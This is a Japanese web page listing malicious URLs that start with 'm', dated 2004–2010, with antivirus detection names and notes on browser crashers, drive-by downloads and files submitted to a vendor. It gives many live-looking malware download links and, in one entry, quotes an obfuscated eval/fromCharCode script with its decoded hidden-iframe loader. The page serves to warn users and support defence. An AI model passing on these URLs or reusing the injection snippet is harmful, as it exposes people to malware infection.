Kiken URL List

Kiken URL List

http:// m から始まるURL

このページは危険と思われるURLでhttp:// m から始まるURLを掲載しています。
他のサイトからこのページに来られた方は最初に Kiken URL List のトップページをよく読んでください。

Kiken URL List の見方

通し番号．

URL（数字→アルファベット順）
[確認日/掲載日]　鑑定結果/解説

　　← このようになっています。

通し番号はページ更新毎にURLの追加／削除があり、更新するたびに変動する、と思ってください。

http://m.c5x8.com/flashmm.exe
http://m.c5x8.com/mm.exe

[2008/09/24] ウィルス名：CRYP_MANGLED

http://m.d5x8.com/dd/1.exe

[2008/09/14] ウィルス名：TSC_GENCLEAN＋PAK_Generic.005

http://m.d5x8.com/dd/2.exe

[2008/09/14] ウィルス名：ADW_CINMUSACC

http://m.d5x8.com/dd/3.exe

[2008/09/14] ウィルス名：TSC_GENCLEAN＋PAK_Generic.005

http://m.c5x8.com/dd/6.exe

[2008/10/04] ウィルス名：ADW_CINMUS

[2008/12/15] 再確認。ウィルス名：CRYP_NAIX-6＋HEURSPY_CINMUS

http://m.d5x8.com/dd/9.exe

[2008/09/14] ウィルス名：TSC_GENCLEAN＋PAK_Generic.005

http://m.d5x8.com/dd/10.exe

[2008/09/14] ウィルス名：TSC_GENCLEAN＋TROJ_NSIS.AL

http://macchu-g.hp.infoseek.co.jp/

[2006/01/12]	mailtoストーム。FDDアタック。他の方の結果は以下。「crashmeだのconconクラッシャーだのがふんだんに仕込まれています。つまりウィルスつきのブラクラです。」
[2006/03/05]	他の方の結果は以下の「」内。「ソースチェッカーにかけると、　※このアドレスは危険URLのひとつです。　危険！mailtoストームを発見！ (376) 　危険！FDDアタックを発見！(7) 　　と出ます。実際に踏んでみるとFDDがガリガリ言ってました。」

http://maclife.net/Computer/Software/Download/VMWare/keygen.exe

[2010/02/21] ファイルサイズ：234 KB 。ウィルス名：CRCK_KEYGEN

http://macromediaflash.com.sapo.pt/

[2008/07/27]	アクセス拒否され、ウィルス名：JS_PSYME.ANQ を検出。
[2008/09/15]	再確認。何故かリロードを繰り返している。ソースを見ると、MS-DOS アプリケーションを実行しようとしているようである。

http://macromediaflash.com.sapo.pt/flash.com

[2008/09/15] ウィルス名：TSPY_BANCOS 。スパイウェアである。

http://macromediaplayerr.fileave.com/player/kil.exe

[2008/07/27] ウィルス名：TSC_GENCLEAN＋Mal_Banker

http://magdatur.com.br/video83porn.exe

[2008/12/28] ウィルス名：TROJ_EXCHANGE.AO

http://magicteen.sexpornhost.com/marcia/index.html

[2006/06/25]

３回ほど確認。結果は以下。
１回目の確認。こんな感じのサイト。アダルト系サイトである。
ウィルス名：EXPL_IFRAMEBO.A＋TROJ_NASCENE.Y＋EXPL_WMF.GEN＋JAVA_BYTEVER.A＋JAVA_BYTEVER.AB＋JAVA_BYTEVER.AC を検出。
また、これも８枚表示する。さらに、「xpl.wmf」なるファイルも落とそうとしてくる。
２回目の確認。アクセス拒否されてページを表示できなかった。しかし、１回目と同じウィルスを検出、さらに「xpl.wmf」なるファイルも落とそうとしてくる。これは表示しなかった。
３回目の確認。アクセス拒否されてページを表示できなかった。しかし、１回目と同じウィルスを検出、さらに「xpl.wmf」なるファイルも落とそうとしてくる。これは８枚表示した。

ソースを見ると以下のURLを呼び出している。そのURL List解説も参照。
//countbest.net/adv/135/new3.php

[2006/06/25]

他の方の結果では「マカフィーが Exploit-ByteVerify を検出。」

http://mail.canarie.ca/MLISTS/apps/att-0222/01-________________.doc.pif

[2008/07/27] ２重拡張子。ウィルス名：TSC_GENCLEAN＋WORM_SIRCAM.C

http://mail.canarie.ca/MLISTS/apps/att-0226/01-________________.doc.pif

[2007/01/05] ２重拡張子。ウィルス名：WORM_SIRCAM.C

http://mail.citymark.com/postcards.gif.exe

[2009/05/11] ファイルサイズ：817 KB 。バスター無反応だが、他社製ウィルス駆除ソフトによっては反応があると思われる。

http://mail.ucap.com.cn/.../RemoveConficker.exe

[2009/05/11] ファイルサイズ：136 KB 。ウィルス名：TROJ_MURLO.BU

http://mail.ucap.com.cn/.../Sexo-BBB9-Maira-Chupando-e-cavalgando.com

[2009/05/11] ファイルサイズ：52.0 KB 。ウィルス名：PAK_GENERIC.001

http://malabadv.com.br/img/video-nude-anjelia.avi.exe

[2008/12/10] ２重拡張子。ウィルス名：TROJ_AGENT.AULZ

http://managesystem32.com/file/3896/4c933a7c5bf131de422b01ba3fe07b12/last.exe

[2009/05/11] ファイルサイズ：122 KB 。ウィルス名：TROJ_PODNUHA.BC

http://mancinitende.it/aspnet_client/system_web/update.exe

[2008/10/04] ウィルス名：TROJ_RENOS.ADX

http://mangosex.com/?id=60pictures.com

[2005/09/10] ウィルス名：JS_DLOADER.I

http://mangosex.com/?id=vaginator.com

[2005/07/31] ウィルス名：JS_PSYME.AF＋TROJ_DLOADER.NB＋JAVA_BYTEVER.A＋JAVA_BYTEVER.K

http://mangosex.com/ai.php?lnk=gals&url=http://lovepic.net/view.php

[2005/09/04] 直リンでは403。コピペではトロイ反応あり。
確認すると色々なアダルトサイトに飛ぶ。

http://maniack.free.fr/svchost.exe

[2007/02/28] ウィルス名：WORM_RBOT.CYM

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/001.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN＋TSPY_BANKER.HNW

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/002.scr

[2008/08/14]

2008/07/28 にトレンドマイクロ社にファイルを提出。
2008/08/13 にその結果の連絡があり、パターンファイル[5.457.00] にてウィルス名：TROJ_BANKER.ONQ として検出するよう対応、とのこと。
実際に 2008/07/28 にDLしたファイルからウィルス名：TROJ_BANKER.ONQ を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：TROJ_BANKER.ONQ を検出することを確認。
2008/07/28 から今日まではファイルの置き換えは無い、と推測される。

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/003.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN＋TSPY_BANBRA.OW

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/004.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN＋TSPY_BANKER.HNU

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/005.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN＋TSPY_BANKER.HOH

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/006.scr

[2008/08/14]

2008/07/28 にトレンドマイクロ社にファイルを提出。
2008/08/13 にその結果の連絡があり、パターンファイル[5.457.00] にてウィルス名：TROJ_BANKER.OUI として検出するよう対応、とのこと。
実際に 2008/07/28 にDLしたファイルからウィルス名：TROJ_BANKER.OUI を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：TROJ_BANKER.OUI を検出することを確認。
2008/07/28 から今日まではファイルの置き換えは無い、と推測される。

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/carta3245.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN＋PAK_Generic.001

http://manifesto.sakura.ne.jp/xoops/extras/theme_x2t/cartao2343.scr

[2008/07/27] ウィルス名：TSC_GENCLEAN

http://manshinsoui.at.infoseek.co.jp/win_duke.zip

[2006/06/27] ウィルスバスターではウィルス名：TROJ_WINDUKE を検出。
Kaspersky ではウィルス名：Trojan.Win32.WinDuke を検出するらしい。

http://maplestorfy.w16.okwit.com/kurubusi/sityounew.html

[2008/09/20] こんな感じの音楽付きサイト。しかし、何回もリロードしている感じである。そして、ウィルス名：JS_DLOADER.GXF を複数検出。

http://maplestorfy.w16.okwit.com/line/Multimedia/Lineage_The_CrossRancor_EP3_movie.rar

[2008/10/16]

DL＋解凍すると、以下の３つのファイルが現れる。３つのファイルとも２重拡張子である。
「CrossRancor_EP01_movie.wmv.exe」← ファイルサイズ：466KB
「CrossRancor_EP02_movie.wmv.exe」← ファイルサイズ：646KB
「CrossRancor_EP03_movie.wmv.exe」← ファイルサイズ：273KB
2008/07/28 にトレンドマイクロ社に３つのファイルを提出。
2008/08/13 にその結果の連絡があり、３つのファイルともウィルス名：TROJ_AGENT.RJ として検出するよう対応、とのこと。
しかし、実際に 2008/07/28 にDLしたファイルからは未だバスター無反応。
しかも、今日改めて当該URLを確認してみると 404 になっていた。

http://maplestorfy.w16.okwit.com/xin/ani.c

[2008/09/20] ウィルス名：EXPL_ANICMOO.GEN

http://maplestorfy.w16.okwit.com/xin/main.htm

[2008/09/20] 真っ白なページだが、何回もリロードしている。そして、ウィルス名：JS_DLOADER.GXF を複数検出。

http://maplestorfy.w16.okwit.com/xin/Ms06014.htm

[2008/09/20] ウィルス名：JS_PSYME.AMW

http://maplestorfy.w16.okwit.com/xin/Ms07004.js

[2008/09/20] ウィルス名：JS_DLOADER.GXI 。ソースはコード変換されている部分がある。

http://maplestorfy.w16.okwit.com/xin/xia.exe

[2008/09/20] ウィルス名：TSPY_QQPASS.DHA

http://maplestorfy.w16.okwit.com/xin/Yahoo.htm

[2008/09/20] 真っ白なページだが、ウィルス名：EXPL_EXECOD.A を検出。ソースはコード変換されている部分がある。

http://maps.google.com/search?sa=N&tab=ln&q=cache:WOqarB9WdPkJ:ha.ckers.org/weird/popup.html+popup&cd=1&ct=clnk

[2009/11/29]

確認してみると、まずこれを表示し、許可するとこんな感じのメール画面を表示する。
このメール画面を閉じると再びこれを表示する。
これを許可した回数分だけこれが開く感じであった。
元の画面はこんな感じで、タスクの強制終了でしか脱出できなかった。
また、ソースチェッカーでは mailtoストームと診断される。

http://maraster.ihuri.it/exe/1051270.exe

[2006/07/27] ウィルス名：DIAL_VISIONET.A

http://mariano-catoni.com.ar/video_4.exe

[2008/08/26] ウィルス名：TSC_GENCLEAN＋TROJ_EXCHANGE.AF

http://marklenders.com/pornyvideo194vf.exe

[2008/12/10] ウィルス名：TROJ_EXCHANGE.BE

http://marknmarkn.netfirms.com/i/ug/trap/trap2.html

[2004/10/09] 無限JavaScript。

[2006/03/24] 再確認。無限ウィンドウオープン。タスクの強制終了で脱出可。

http://masaosight.me.land.to/

[2008/11/21]

ブラクラの一種と思われる。叫び声の音源が流れる。その音源は以下のURLである。
//vip.6to23.com/jpgman/gui/g.wav
また、メールアカウントを執拗に作ろうとしてくる。タスクの終了で脱出。

http://masaton1603.hp.infoseek.co.jp/kintama.zip

[2004/07/07] ウィルス名：WORM_ANTINNY.G

http://masaton1900.at.infoseek.co.jp/moemoe.htm

[2004/11/07] //masaton1900.at.infoseek.co.jp/happy777.htmに飛ぶ。

http://masaton1900.at.infoseek.co.jp/happy777.htm

[2004/07/23] 無限JavaScript。mailtoストーム。ニュースストーム。Telnetストーム。
//masaton1192.tripod.com/と//www2.strangeworld.org/をFRAMEタグで呼び出す。

http://massaxid.by.ru/index.html

[2006/02/13]

海外アダルトサイト。ウィルス名：EXPL_WMF.GEN＋JAVA_BYTEVER.A
「res.wmf」ファイルを繰り返しDLしろ、と言ってきて、その度にウィルス名：EXPL_WMF.GEN を検出する。

http://massaxid.by.ru/wm/?p=Z1111111111111

[2006/02/13]

http://mature-fucking-young-boys.com/

[2005/03/28]	ウィルス名：JAVA_BYTEVER.A
[2005/04/02]	改めて確認。ウィルス未検出だが、リンク先でウィルス反応するらしい。
[2005/06/07]	踏むと海外アダルトサイト。ウィルス名：JS_MHTREDIR.P＋JAVA_BYTEVER.A
[2005/06/10]	ノートンだとウィルス名：Downloader.Trojanを検出。

http://matureforyou.com/?pizda13.info

[2005/04/02] ウィルス名：JAVA_BYTEVER.A-1

http://mauinaturist.com/gallery/fullimages/gallery12_f.jpg

[2006/02/26] こんな感じのサイトだが、WinFixer2005などのスパイウェア関連の別窓を表示するので注意。

http://maverick.net/help/video-nude-anjelia.avi.exe

[2008/07/28] ２重拡張子。ウィルス名：TSC_GENCLEAN＋TROJ_SMALL.GWL

http://max-6.cn/a1/flink.html

[2008/09/25] 真っ白なページだが、ウィルス名：JS_SWFLASH.GG を検出。
よく見ると、左上のほうに「111」と書かれている。

http://max-6.cn/a1/fx.htm

[2008/09/25]

真っ白なページだが、ウィルス名：JS_SWFLASH.GG を検出。
ソースを見ると、IFRAMEタグを使って以下の２つのURLを呼び出している。
//max-6.cn/a1/flink.html
//max-6.cn/a1/ilink.html

http://max-6.cn/a1/ilink.html

[2008/09/25] 真っ白なページだが、ウィルス名：JS_SWFLASH.GG を検出。
よく見ると、左上のほうに「111」と書かれている。

http://max-6.cn/a1/real.htm

[2008/09/25] 真っ白なページだが、ウィルス名：JS_REAPLAY.B を検出。

http://max-6.cn/a1/Real.html

[2008/09/25] 真っ白なページだが、ウィルス名：JS_AGENT.UPT を検出。

http://max-6.cn/a7/fxx.htm
http://max-6.cn/a50/fxx.htm

http://max-6.cn/a139/fxx.htm

[2008/09/24]

真っ白なページだが、ウィルス名：JS_SWFLASH.GG＋JS_OBFUSCA.BTZ を検出。
このサイトは「RealNetworks,Inc」からの「RealPlayer plug-in for Internet Explorer」アドオンを実行しようとしている。

http://max-young.com/

[2005/09/15]

海外アダルトサイト。踏むとまずウィルス名：VBS_PSYME.ANを検出して、その後、HDDが暫らくの間ガリガリ言い出し、ウィルス名：JAVA_BYTEVER.Aを検出する。
それと同時にダイヤラーをインストールしろ、とダイアログを表示。その直後、以下の３枚の別窓を表示する。
１、「BEST LOLITA SITES」というツールバーやアドレスバーが無いWebページダイアログ。
２、//girlsteens.net/faces/gallery.php?id=10546425
３、http://www.whitelolita.com/?lolitka.dorki.info
尚、３枚の別窓を表示する過程で以下のウィルスを検出。
ウィルス名：VBS_PSYME.AN＋JAVA_BYTEVER.A＋JAVA_BYTEVER.D＋JAVA_BYTEVER.E
また、元の//max-young.com/を閉じると、ゾンビウィンドウっぽい動きがある。
その時にウィルス名：TROJ_DLOADER.XH や、ウィルス名：VBS_PSYME.AN を検出。
他の方の結果は以下。
「洋アダルトサイトですが、IEが強制終了してしまいました。
javaスクリプトエラーを起こしたようです。どうも別URLを開く仕掛けが上手くいかなかった様子。」

http://max2.nm.ru/DOLLS/imgboard.cgi

[2005/12/04]

踏むと「LOLITAS BBS DOLLS」という名のサムネイルページだが、タスクバーに現れないこの画面＋ダイアログを表示し、ウィルス名：VBS_PSYME.ANを検出、その後、ウィルス名：JAVA_BYTEVER.Aを検出する。
しかし、何回か確認してみると、ウィルス未検出の時もあった。

http://maximelaplante.com/video23574fr41.exe

[2008/12/10] ウィルス名：TROJ_TIBS.QQ

http://maximumassetshield.com/videoXXX76s3545.exe

[2008/12/10] ウィルス名：TROJ_TIBS.QQ

http://maxnum.zz.tc/dostyle

[2008/11/21] Location ヘッダで //masaosight.me.land.to/ に飛ぶので、そちらのURL List解説を参照。

http://maxpages.com/popad.htm

[2005/07/16]

タイトルが「.......................................」という真っ白なページ。
よく見ると左上のほうにドットサイズの小さな黒い「点」が4～5秒ごとに点滅している。
この「点」が点灯している時にポインタの先端を合わせて右クリック→ソースを見てみると以下のURLを表示しているのが分かる。
//www1.addfreestats.com/cgi-bin/connect.cgi?usr=00115744P000
↑
単なるgif画像。
また、元の//maxpages.com/popad.htmには別窓が付いている。その別窓は複数ある模様。確認した別窓のうち、以下の４つを参照のこと。別窓の種類は他にも複数ある。
別窓１、別窓２、別窓３、別窓４

http://maxypics.com/

[2005/07/15]

ウィルス名：JAVA_BYTEVER.A＋JAVA_BYTEVER.A-1
数秒ごとに色々な海外アダルトサイトを表示していく。その過程で更にウィルス名：JAVA_BYTEVER.A＋JS_PSYME.AF＋EXPL_IFRAMEBO.A＋TROJ_DLOADER.NBを検出。
次々と新窓表示していくため、放っておくとHDDが唸り出し、場合によってはフリーズする。
以下は表示したURLの一部。この順番通りに表示。放っておくと更に開くと思われる。
//somesexpics.com/?maxypics.com
//coolteenpussy.com/?maxypics.com
//allteenmodel.com/?maxypics.com
//www.worldsex.co.yu/
//www.sweetschoolgirl.com/
//66.250.131.174/search/find_m.html

http://maxypics.com/count.php

[2005/07/15]

ウィルス名：JAVA_BYTEVER.A-1
<script language=javascript>eval(String.fromCharCode(100,111,99,
117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,
97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,56,50,46,
49,55,57,46,49,55,48,46,49,49,47,51,53,57,47,39,32,115,116,121,
108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,
62,60,47,105,102,114,97,109,101,62,34,41))</script>
↑
ソースを見ると上のような暗号化された部分がある。数字の部分を読めるようにすると以下のようなスクリプトであることが分かる。
↓
document.write("<iframe src='http://82.179.170.11/359/' style='display : none'></iframe>")

http://mayhem.net/juke/bodiesbeat1.html

[2004/04/07]

ジョークサイト：奇妙なグラフィックが出現。読み込みが終わると音楽と共にブラウザが跳ね回る。
ダブルクリックすると画面が変わり、また別の悪趣味な気持ち悪い絵(目の絵が沢山)のグラフィックが……。

http://mbspro2.uic.to/user/zikken.html

[2006/01/14] ブラクラ。無限ループ。

http://mbspro3.uic.to/user/akari2.html

[2004/05/30] ブラクラ。

http://mbspro4.uic.to/user/8868.html

[2004/02/22] 無限JavaScript。

http://mbspro4.uic.to/user/yo_pe.html

[2004/10/01]	「超フリー掲示板」というサイトだが悪意ある投稿者によりウィルス＋スパイウェア憑きサイト等を呼ばれる。
[2004/10/08]	ウィルス名：JS_STARTPAG.AD＋WORM_CULT.B＋WORM_HYBRIS.B＋SPYW_BRISS.A ウイルス＋スパイウエア＋ブラクラ＋exeDL、とかなり強力なので注意。

http://mbspro5.uic.to/user/42669.html
http://mbspro5.uic.to/user/mikkixi.html
http://mbspro9.uic.to/user/harimoni.html

[2004/11/07] mailtoストーム。悪意あるユーザーが自由に危険なタグを付加することのできる掲示板。

http://mbspro9.uic.to/user/lead0402.html

[2004/02/07] //www.raus.de/crashmeに飛ぶ。

http://mcadmon.com/Flash/ie7.0.exe

[2008/09/17] ウィルス名：TROJ_SMALL.EBN

http://mbspro10.uic.to/user/edge_u2.html

[2004/06/27] ノートン無反応だがIEが落ちる。

http://media.downloadmediacentral.com/law/PLAY.exe

[2009/05/11] ファイルサイズ：141 KB 。ウィルス名：TROJ_GENERIC

http://media.euniverse.com/cursorzone/files/ACF11EE.cab

[2006/09/06]

2006/08/26 にトレンドマイクロ社にDL＋解凍して現れた「star_of_bethlehem_setup_td035.exe」ファイルを提出。
今日、その結果の連絡があり、それは以下。

このファイルにつきましては、ファイル内に「SPYW_KEENVAL.B」と「SPYW_KEENVAL.A」を含んでおり、実行されると前述のスパイウェアとして検出対応いたします。
しかしながら、本ファイルの状態（実行しない状態）ですと安全ですので弊社では現段階では検出対応いたしません。

http://media.euniverse.com/cursorzone/files/Butterfly_ani_setup_td035.cab

[2006/08/29]

2006/08/22 にトレンドマイクロ社にDL＋解凍して現れた「Butterfly_ani_setup_td035.exe」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_KEENVAL.AT として検出するよう対応、とのこと。
2006/08/22 にDLしたファイルからウィルス名：TROJ_KEENVAL.AT を検出することを確認。
また、当該URLからDLしてみてもウィルス名：TROJ_KEENVAL.AT を検出することを確認。

http://media.euniverse.com/cursorzone/files/Cat_Running_setup_td035.cab

[2006/08/29]

2006/08/22 にトレンドマイクロ社にDL＋解凍して現れた「Cat_Running_setup_td035.exe」ファイルを提出。
今日、その結果の連絡があり、ウィルス名：TROJ_KEENVAL.AT として検出するよう対応、とのこと。
2006/08/22 にDLしたファイルからウィルス名：TROJ_KEENVAL.AT を検出することを確認。
また、当該URLからDLしてみてもウィルス名：TROJ_KEENVAL.AT を検出することを確認。

http://media.euniverse.com/cursorzone/files/Cherub_setup_td035.cab

[2006/08/31]

DL＋解凍すると「Cherub_setup_td035.exe」なるファイルが現れる。
バスター無反応だが、以下のアンチウィルスソフトで反応。
AntiVir → TR/Dldr.Keenval.B.2
BitDefender → Trojan.Downloader.Keenval.M
DrWeb → Trojan.DownLoader.5455
Fortinet → W32/Keenval.M!tr
Ikarus → AdWare.Keenval.A
Kaspersky → Trojan-Downloader.Win32.Keenval.m
VBA32 → Trojan-Downloader.Win32.Keenval.c

2006/08/22 にこの「Cherub_setup_td035.exe」ファイルをトレンドマイクロ社に提出。
今日、その結果の連絡があり、「単体では不正な活動を行わないファイルであり、弊社として対応は行わない」ということであった。

http://media.euniverse.com/cursorzone/files/spider_setup_td035.cab

[2006/09/01]

2006/08/26 にトレンドマイクロ社にDL＋解凍して現れた「spider_setup_td035.exe」ファイルを提出。
2006/08/31 にその結果の連絡があり、ウィルス名：TROJ_KEENVAL.AG として検出するよう対応、とのこと。
2006/08/26 にDLしたファイルからウィルス名：TROJ_KEENVAL.AG を検出することを確認。
また、今日改めて当該URLからDLしてみてもウィルス名：TROJ_KEENVAL.AG を検出することを確認。

http://media.fastclick.net/w/click.here?cid=45150&mid=90479&sid=22820&m=1&c=0

[2006/02/25] 他の方の結果では「Winfixer2005をインストールさせようとしてきます。これはスパイウェアなのでインストールしないでください。」

http://media.matcash.com/mc-58-12-0000093.exe
http://media.matcash.com/mc-62-602-0000061.exe
http://media.matcash.com/mc-65-625-0000054.exe

[2008/09/19] 実際は「install.exe」が落ちてくる。しかし、ウィルス名：ADW_MAXSEARCH.AG を検出。

http://media.matcash.com/mc-110-12-0000141.exe

[2006/08/03]

2006/07/22 にトレンドマイクロ社にファイルを提出。
2006/07/26 に連絡があり、ウィルス名：ADW_SOFTMATE.Q として検出るすよう対応とのこと。
2006/07/22 にDLしたファイルを確認するとウィルス名：ADW_SOFTMATE.Q を検出。
しかし、2006/07/26 に当該URLからDLするとバスター無反応。
今日、改めて当該URLからDLしても、バスター無反応。
恐らく、このURLは新しいファイルに随時置き換えられるものと推測される。

[2006/11/09]

2006/11/05 にトレンドマイクロ社にファイルを再提出。
今日、その結果の連絡があり、ウィルス名：ADW_MYTOOLBAR.F として検出するよう対応、とのこと。
実際に 2006/11/05 にDLしたファイルからウィルス名：ADW_MYTOOLBAR.F を検出することを確認。
しかし、今日改めて当該URLからDLしてみるとバスター無反応。
新しいファイルに置き換えられている。

http://media.matcash.com/mc-110-12-0000478.exe

[2008/09/19] 実際は「install.exe」が落ちてくる。しかし、ウィルス名：ADW_MAXSEARCH.AG を検出。

http://media.matcash.com/mc-110-12-0000756.exe

[2006/11/09]

2006/11/05 にトレンドマイクロ社にファイルを提出。
今日、その結果の連絡があり、ウィルス名：ADW_MYTOOLBAR.G として検出するよう対応、とのこと。
実際に 2006/11/05 にDLしたファイルからウィルス名：ADW_MYTOOLBAR.G を検出することを確認。
しかし、今日改めて当該URLからDLしてみるとバスター無反応。
新しいファイルに置き換えられている。

http://media.matcash.com/mc-110-12-0002386.exe

[2008/09/19] 実際は「install.exe」が落ちてくる。しかし、ウィルス名：ADW_MAXSEARCH.AG を検出。

http://media.matcash.com/wrapper/launcher.exe

[2006/11/04] 「launcher.exe」ではなく、「maxidr.avi」が落ちてくるが、ウィルス名：TROJ_MULDROP.FJ を検出。

http://media-h.tv/?HP5

http://media-h.tv/?mt

[2005/07/18]

日本語のアダルトサイト。サムネイル画像をクリックするとexeをDL出来る。
そのexeからウィルス名：TROJ_MYFTU.Aを検出。
実行してしまうと、メールアドレスなどをその業者サイトなどに送信してしまうらしい。

http://mediamatika.wu.cz/pornmvideo6d19.exe

[2008/12/10] ウィルス名：TROJ_EXCHANGE.BX

http://mediaprovider.info/law/PLAY.exe

[2007/05/20]

2007/02/14 にトレンドマイクロ社にファイルを提出。
2007/02/16 にその結果の連絡があり、ウィルス名：TROJ_AGENT.VAP として検出するよう対応、とのこと。
しかし、実際には 2007/02/14 にDLしたファイルからはウィルス名：TROJ_DLOADER.LBB を検出する。
しかも、今日改めて当該URLからDLしてみてもウィルス名：TROJ_DLOADER.LBB を検出する。

http://medroy.dircon.co.uk/stream.exe

[2008/09/19] ウィルス名：TROJ_FAKEAV.FP

http://megasearchbar.com/

[2006/01/03] スパイウェア配布サイト。こんな感じのサイト。このページ表示まで無害で、普通に閉じれる。

http://megasearchbar.com/download.html

[2006/01/03]

スパイウェア配布サイトのページ。こんな感じのサイト。このページ表示まで無害で、普通に閉じれる。
このページの下のほうはこんな感じになっていて、「Download the MegaSearch Toolbar」というボタンをクリックすると、以下のexeファイルをDLすることが出来るが、このexeからウィルスを検出する。
//megasearchbar.com/toolbar/MegasearchBarSetup.exe

http://megasearchbar.com/toolbar/MegasearchBarSetup.exe

[2005/11/20]

ウィルス名：SPYW_MEGASRCH.A
下のURLのポインタが指しているボタンをクリックしても、MegasearchBarSetup.exe がDLされる。
//megasearchbar.com/download.html

http://megazeus.narod.ru/ScreenSaver.zip

[2005/07/18] ウィルス名：TROJ_DELF.EW

http://members.aol.com/jpeschel2/Keylogwn.zip

[2005/11/18] ウィルス名：SPYW_KEYLOG95.A

http://members.aol.com/jpeschel2/pwlview.zip

[2006/07/14] ウィルス名：TROJ_Generic

http://members.aol.com/rhino0168/hahahaha.html

[2004/02/15] 無限JavaScript。

[2006/02/22] 再確認。踏むとこのウィンドウが次々と開いていく。タスクの強制終了で脱出可。

http://members.at.infoseek.co.jp/bosobaso/wpe9x.zip

[2005/10/24]

DLまでバスター無反応。解凍した途端、バスター反応。ウィルスの詰め合わせである。
ウィルス名：TROJ_PSWATCHER.A＋TROJ_TKITSPY.A＋TROJ_TKITSPY.B

[2008/08/18]

再確認。DL＋解凍すると以下の６つのファイルが現れるが、５つのファイルからウィルスを検出。
「WSKGSPY.VXD」← ウィルス名：TROJ_TKITSPY.B
「Ecl1pse.dll」← ウィルス名：TROJ_TKITSPY.A
「Winsok packet editor.exe」← ウィルス名：TROJ_DOWNLOAD.E
「tminfo1.dat」← ウィルス名：TROJ_TKITSPY.B
「tminfo.dat」← ウィルス名：TROJ_PSWATCHER.A
「WINSOCK PACKET EDITOR.HLP」← バスター無反応。

http://members.at.infoseek.co.jp/naarino/boyaki.html

[2004/06/03] 無限JavaScript。FDDアタック。Ctrl+Alt+Delで脱出。

http://members.at.infoseek.co.jp/nichkiral/tasiro.txt

[2004/03/14] スクリプト入り：「超田代砲改」

http://members.at.infoseek.co.jp/ryouzin/image/buffer11.htm

[2006/11/04] これが動きまくるブラクラのようだが、タスクバーより閉じればそれで終わり。

http://members.at.infoseek.co.jp/sinzan43/arasibbs2.html

[2004/02/15]	ブラクラだがブラクラチェッカーは無反応。
[2005/07/27]	再確認。ブラクラの一種。ウィンドウがちらつく。ソースに以下のように書いてある。「ウインドウを止めるには、Alt+F4を押します。Ctrl+Alt+Deleteでも、止める事が出来ます。」 ↑その通りに実行すれば終了する。

http://members.fortunecity.com/hama717/yokohama.htm

[2004/03/19] スパイウェアの反応あり。

http://members.jcom.home.ne.jp/i-am-a-student-boy/begin.htm

[2004/02/07] 「Win2010を起動しています」とでるびっくりブラクラ。Alt+F4 で脱出。最後の方で本物のブラクラ。

http://members.jcom.home.ne.jp/kilopost/saikin_gazo/6437nisihati.htm

[2004/11/27] ウィルス名：VBS_REDLOF.A＋VBS_REDLOF.A-11

http://members.tripod.com/~doutei/crash1.html

[2004/02/14] NestedHTML[table]。tableタグが大量にネストされている。

http://members.tripod.com.mx/%6AY1VIP%7A3x1/shutdown.html

[2004/10/03] ウィルス名：ATVX_EXPLODER＋スパイウェア

http://members.tripod.com.mx/%6AY1VIP%7A3x1/unix.txt

[2004/02/29] フルスクリーンで //dms100.org/worksucks に飛ぶ。

http://members1.chello.nl/e.berlips/hegre.html

[2004/08/24] リンク先にウィルス＋スパイウェアあり。

http://members2.tsukaeru.net/cginet/Tfall/shock.jpg

[2004/09/27]	１回目に踏んだときは画像が表示されない白紙のページ。２回目がひまわりの画像。３回目はexeの無限DL。 IFRAMEタグでcgiを呼び出し、Locationヘッダで //www.malware.com/forceframe2a.html に飛ぶ
[2004/10/24]	環境によりノートンがトロイを検出し、小さな窓が一杯開いて画面中を飛び跳ねる状態になる。
[2004/10/24]	Locationヘッダで次のどれかに飛ぶらしい。 //oss.jodi.org/ss.html //www.malware.com/forceframe2a.html //www89502.nu.nun.nu/www2.strangeworld.org/uedakana/sahra6138.jpg //omanko45.tvheaven.com/ //www2.strangeworld.org/slot/riko/img-box/2003043.jpg //www.geocities.jp/mmoussyy/index.htm

http://members4.boardhost.com/RealCoolCars/msg/138.html

[2005/02/24]

ウィルス名：JAVA_BYTEVER.A＋JAVA_BYTEVER.C＋JAVA_BYTEVER.K＋JAVA_BYTEVER.A-1
//gb.bbs.ws/book.php?book=xtrime に飛び、別窓で「WEB SEX SEARCH」という検索サイトを表示。

http://members8.tsukaeru.net/je5uyb/cgi-bin/imgboard.cgi

[2005/12/04]

踏むと「ゲストの落書帳」という名の画像掲示板だが、タスクバーに現れないこの画面＋ダイアログを表示し、ウィルス名：VBS_PSYME.ANを検出、その後、ウィルス名：JAVA_BYTEVER.Aを検出する。
新規投稿が続くと「次のページ」に随時落ちていくと思われる。
しかし、何回か確認してみると、ウィルス未検出の時もあった。

http://mensagcarterra.t35.com/card_amor.exe
http://mensagcarterra.t35.com/imagem_7653.exe

[2007/05/28] ウィルス名：TROJ_BANLOAD.CPG

http://menschannel.tv/

[2005/07/17] 日本語のアダルトサイト。サムネイルをクリックするとexeが落ちてくる。
DLするとウィルス名：TROJ_MYFTU.Dを検出。

http://menschannel.tv/?o02

[2005/05/01]

「メンズ・チャンネル」というアダルトサイトで、そのページまでは無害だが、サムネイルをクリックすると、exeファイル：ウィルス名：Trojan.KillFiles.uというトロイの木馬が落ちてくる。

http://menschannel.tv/?r01

[2005/05/31]

踏むと日本語のアダルトサイト。小窓がうようよしている。
その小窓のURLは//menschannel.tv/showMovie.php?C=none&MV=503512
その小窓をクリックすると、「satomi.exe」が落ちてくる。ファイルサイズは 290KB 。
バスター無反応だが、以下のアンチウィルスソフトでウィルスを検出。
Antidote → ウィルス名：Trojan-PSW.Win32.VB.ex
ClamAV → ウィルス名：Trojan.W32.Msbook
